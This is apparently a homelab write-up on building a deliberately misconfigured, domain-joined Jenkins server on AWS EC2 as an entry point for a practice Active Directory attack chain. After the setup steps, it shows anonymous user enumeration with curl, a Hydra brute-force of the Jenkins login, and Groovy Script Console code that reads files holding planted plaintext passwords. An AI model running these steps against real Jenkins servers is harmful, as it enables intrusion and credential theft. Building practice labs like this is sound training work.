AWS EC2

AWS Jenkins Setup

EC2 Ubuntu instance domain-joined to Active Directory, running Jenkins with deliberate misconfigurations. Anonymous user enumeration, brute-force login, Groovy console credential extraction, and a full attack chain to Domain Admin.

AWS Jenkins server setup for external entry point
Deploying the external entry point on AWS EC2 with Jenkins
AWS EC2 c7i-flex.large
Ubuntu 24.04 LTS
Jenkins LTS
OpenJDK 17
WireGuard VPN
Python 3.12
Groovy Console
Hydra / Nmap

Step 1 — Launch EC2 Instance

Logged into the AWS Console, went to EC2 → Launch Instance. The machine is named WATCHTOWER. Selected Ubuntu as the OS and c7i-flex.large as the instance type — 2 vCPU, 4 GB RAM, enough for Jenkins.

AWS EC2 launch instance page showing Ubuntu selected as the OS and AMI
Ubuntu selected as the OS for WATCHTOWER
AWS EC2 instance type selection showing c7i-flex.large with 2 vCPU and 4 GB RAM
Instance type: c7i-flex.large — 2 vCPU, 4 GB RAM
AWS EC2 launch summary showing Ubuntu OS, c7i-flex.large type, and 8 GB storage
Launch summary — OS, type, and storage confirmed before launching

Step 2 — Security Group Rules

Initially set the security group to allow SSH, HTTP, and HTTPS. After launch, added WireGuard (UDP 51820) and Jenkins (TCP 8080).

AWS security group inbound rules showing SSH port 22, HTTP 80, and HTTPS 443 initially configured
Initial security group — SSH, HTTP, HTTPS
AWS EC2 dashboard showing the WATCHTOWER instance in initializing state after launch
Instance initializing — named it Shield in AWS console (Marvel theme)
AWS EC2 instance security tab showing ports 22, 80, and 443 open in the initial security group
Security tab showing the initial inbound rules

Updated security group to add WireGuard and Jenkins:

AWS security group inbound rules updated to include UDP 51820 for WireGuard and TCP 8080 for Jenkins
Final security group — added UDP 51820 (WireGuard) and TCP 8080 (Jenkins)
ProtocolPortSourcePurpose
TCP22Your IPSSH admin access
TCP80800.0.0.0/0Jenkins web UI (public — intentional)
UDP518200.0.0.0/0WireGuard
Port 8080 public — intentional

Jenkins is exposed publicly on port 8080 by design. This is the entry point for the attack chain. In a real environment this would be a serious misconfiguration. Here it is deliberate.

Step 3 — WireGuard on the EC2 Machine

SSH'd into the instance and installed WireGuard. The process is the same as the Oracle Linux machine.

Bash
sudo apt update && sudo apt install -y wireguard

# Generate key pair
wg genkey | sudo tee /etc/wireguard/private.key | wg pubkey | sudo tee /etc/wireguard/public.key
sudo chmod 600 /etc/wireguard/private.key

# Copy the public key — add this on DC01 as a new peer
cat /etc/wireguard/public.key

Create the WireGuard config. This machine gets IP 10.10.0.5:

Bash — /etc/wireguard/wg0.conf
sudo tee /etc/wireguard/wg0.conf << 'EOF'
[Interface]
PrivateKey = CONTENTS_OF_private.key
Address = 10.10.0.5/24
ListenPort = 51820

[Peer]
PublicKey = <DC01-PUBLIC-KEY>
AllowedIPs = 10.10.0.0/24
Endpoint = <DC01-VULTR-PUBLIC-IP>:51820
PersistentKeepalive = 25
EOF

sudo systemctl enable wg-quick@wg0 && sudo systemctl start wg-quick@wg0
ping -c 3 10.10.0.1
Ping from WATCHTOWER to DC01 at 10.10.0.1 showing successful replies through WireGuard tunnel
Ping to DC01 working — WireGuard tunnel is up from the AWS machine

Step 4 — Set DNS and Join the Domain

The machine uses systemd-resolved for DNS. Created a netplan override to point DNS at DC01 through the WireGuard IP:

Bash — DNS config via netplan
cat << 'EOF' | sudo tee /etc/netplan/99-custom-dns.yaml
network:
  version: 2
  ethernets:
    enp39s0:
      nameservers:
        addresses: [10.10.0.1, 8.8.8.8]
        search: [hq.apex-corp.xyz]
      dhcp4-overrides:
        use-dns: false
        use-domains: false
EOF

sudo chmod 600 /etc/netplan/99-custom-dns.yaml
sudo netplan try
netplan config file showing the existing 50-cloud-init.yaml and DNS override file on the WATCHTOWER machine
Netplan config showing the existing cloud-init config and our DNS override

Installed the domain join packages:

Bash
sudo apt install -y realmd sssd sssd-tools adcli krb5-user samba-common-bin

During krb5-user install, the installer asks for the Kerberos realm. Entered HQ.APEX-CORP.XYZ in uppercase:

Kerberos configuration dialog asking for the default Kerberos realm with HQ.APEX-CORP.XYZ entered
Kerberos realm — must be uppercase: HQ.APEX-CORP.XYZ

Same rdns fix as the Oracle machine — add rdns = false to /etc/krb5.conf, then join:

Bash
# Fix reverse DNS validation in Kerberos
sudo sed -i '/\[libdefaults\]/a\    rdns = false' /etc/krb5.conf

# Discover and join the domain
realm discover hq.apex-corp.xyz
sudo realm join hq.apex-corp.xyz -U t.stark --verbose

After joining, verified DNS resolution and SMB access:

realm join output on WATCHTOWER showing Successfully enrolled machine in realm hq.apex-corp.xyz
Domain join succeeded — WATCHTOWER is now in hq.apex-corp.xyz
smbclient connected to STARK-TOWER from WATCHTOWER showing available shares listed
SMB access working from WATCHTOWER to DC01 — cross-cloud access confirmed

Step 5 — Install Jenkins

Bash
sudo apt install -y default-jdk

# Add the Jenkins repository (2026 key — see note below if you get key errors)
curl -fsSL https://pkg.jenkins.io/debian-stable/jenkins.io-2026.key | sudo tee /usr/share/keyrings/jenkins-keyring.asc > /dev/null
echo "deb [signed-by=/usr/share/keyrings/jenkins-keyring.asc] https://pkg.jenkins.io/debian-stable binary/" | sudo tee /etc/apt/sources.list.d/jenkins.list

sudo apt update
sudo apt install -y jenkins

# Start and enable
sudo systemctl enable jenkins && sudo systemctl start jenkins

# Get initial admin password
sudo cat /var/lib/jenkins/secrets/initialAdminPassword
systemctl status jenkins showing active running and Jenkins service started successfully
Jenkins service is active and running

Note — Jenkins Repository Key URL

If the apt install fails with a GPG key error on pkg.jenkins.io, the key URL in the curl command is wrong. Jenkins provides separate key files — jenkins.io.key and jenkins.io-2026.key both exist, but only the one matching your apt source works. The command below uses the correct one.

Wrong key URL

curl -fsSL https://pkg.jenkins.io/debian-stable/jenkins.io.key — this key may not match the repository definition and apt will reject it with a GPG error.

Step 6 — Initial Jenkins Setup in Browser

Opened a browser and went to http://<AWS-PUBLIC-IP>:8080. The unlock screen appeared asking for the initial admin password:

Jenkins Unlock Jenkins page asking for the initial administrator password from the server path
Jenkins unlock screen — paste the initial admin password from the terminal

Pasted the password from the terminal. Jenkins then loaded the Getting Started screen and installed suggested plugins:

Jenkins Getting Started screen showing plugin installation in progress with a list of plugins being installed
Jenkins installing suggested plugins after first login

On the Create First Admin User screen, used a real AD account as the Jenkins admin — this is the misconfiguration:

Step 7 — Planted Vulnerabilities

Four types of credential exposure were configured after setup to create a realistic attack surface.

1. Anonymous Read Access — People API

In Manage Jenkins → Security → Authorization: set to "Logged-in users can do anything" and checked "Allow anonymous read access". This exposes the /people/api/json endpoint without any authentication — anyone can enumerate usernames without logging in.

2. Jenkins Credential Manager

Under Manage Jenkins → Credentials → Global credentials, added four stored credentials pointing at real AD service accounts:

IDUsernamePasswordWhat it is
svc-jarvis-adsvc_jarvisJ@rv1s2025!AD web service account
svc-friday-linuxsvc_fridayFr1d@yAI2025Linux Nginx service account
mssql-sasaSQLAdmin2025!MSSQL SA account
postgres-appappuserweak_db_pass123PostgreSQL app DB

3. Hardcoded Credentials in Workspace Files

Planted a deploy script and an .env file with credentials hardcoded in plaintext:

Bash — plant the files
sudo mkdir -p /var/lib/jenkins/workspace/apex-deploy
sudo tee /var/lib/jenkins/workspace/apex-deploy/deploy.sh << 'EOF'
#!/bin/bash
# Apex Corp Deployment Script v2.1
AD_USER="svc_jarvis"
AD_PASS="J@rv1s2025!"
DB_HOST="10.10.0.3"
DB_USER="appuser"
DB_PASS="weak_db_pass123"
MSSQL_HOST="10.10.0.2"
MSSQL_USER="sa"
MSSQL_PASS="SQLAdmin2025!"
echo "[*] Connecting to AD as $AD_USER..."
EOF

sudo mkdir -p /var/lib/jenkins/workspace/apex-app
sudo tee /var/lib/jenkins/workspace/apex-app/.env << 'EOF'
DB_CONNECTION=postgresql://appuser:[email protected]:5432/helpdeskdb
AD_SERVICE_ACCOUNT=svc_friday
AD_SERVICE_PASSWORD=Fr1d@yAI2025
MSSQL_SA_PASSWORD=SQLAdmin2025!
EOF

4. Groovy Script Console Reads Sensitive Files

This is how an attacker reads those files after getting Jenkins access. The console output shows the file contents including all credentials:

Jenkins Groovy Script Console showing a script reading the .env file and the output displaying plaintext credentials including DB_CONNECTION string and passwords
Groovy console reading the planted .env file — credentials exposed in plaintext

The Attack Chain

This is the full path from the public internet to Domain Admin using only WATCHTOWER as the entry point:

graph TD A["🌐 Step 1: Enumerate Users
No login needed
curl http://IP:8080/people/api/json"] --> B["👤 Step 2: b.allen discovered"] B --> C["🔑 Step 3: Brute-force
Hydra + rockyou.txt
b.allen / Flash4Ever!"] C --> D["💻 Step 4: Groovy Console
Manage Jenkins → Script Console"] D --> E["📄 Step 5: Read creds
deploy.sh + .env files
svc_jarvis / J@rv1s2025!"] E --> F["🎫 Step 6: AD Auth
svc_jarvis has SPN
Kerberoastable OR use plaintext creds"] F --> G["🏰 Step 7: Domain Admin
svc_alfred has GenericAll
on Domain Admins group"] style A fill:#2a1a1a,stroke:#ff6b6b,color:#fff style G fill:#3a1a1a,stroke:#ff4444,color:#fff

Step A — User Enumeration (No Auth Required)

Bash
$ curl -s http://<AWS-IP>:8080/people/api/json?depth=1 | python3 -m json.tool
{ "users": [ { "user": { "fullName": "Barry Allen", "id": "b.allen" } } ] }

Step B — Brute Force the Username

Bash — Hydra
$ hydra -l b.allen -P /usr/share/wordlists/rockyou.txt \ <AWS-IP> \ http-form-post \ "/j_spring_security_check:j_username=^USER^&j_password=^PASS^&Submit=Sign+in:Invalid username or password" \ -V -t 10

Step C — Read Files via Groovy Script Console

Groovy — Jenkins Script Console
// Read the deploy script — contains AD and DB credentials
println new File('/var/lib/jenkins/workspace/apex-deploy/deploy.sh').text

// Read the .env file — contains service account passwords
println new File('/var/lib/jenkins/workspace/apex-app/.env').text
Attack chain result
$ curl -s http://<AWS-IP>:8080/people/api/json | grep "\"id\""
"id" : "b.allen"
[+] Username found: b.allen
$ hydra -l b.allen -P rockyou.txt ... (cracking...)
[+] b.allen / Flash4Ever! — Jenkins login cracked
# In Groovy console after login:
=== svc-jarvis-ad ===
Username: svc_jarvis
Password: J@rv1s2025!

AD_USER="svc_jarvis"
AD_PASS="J@rv1s2025!"
MSSQL_SA_PASSWORD=SQLAdmin2025!
[+] Credentials extracted. svc_jarvis is Kerberoastable → path to Domain Admin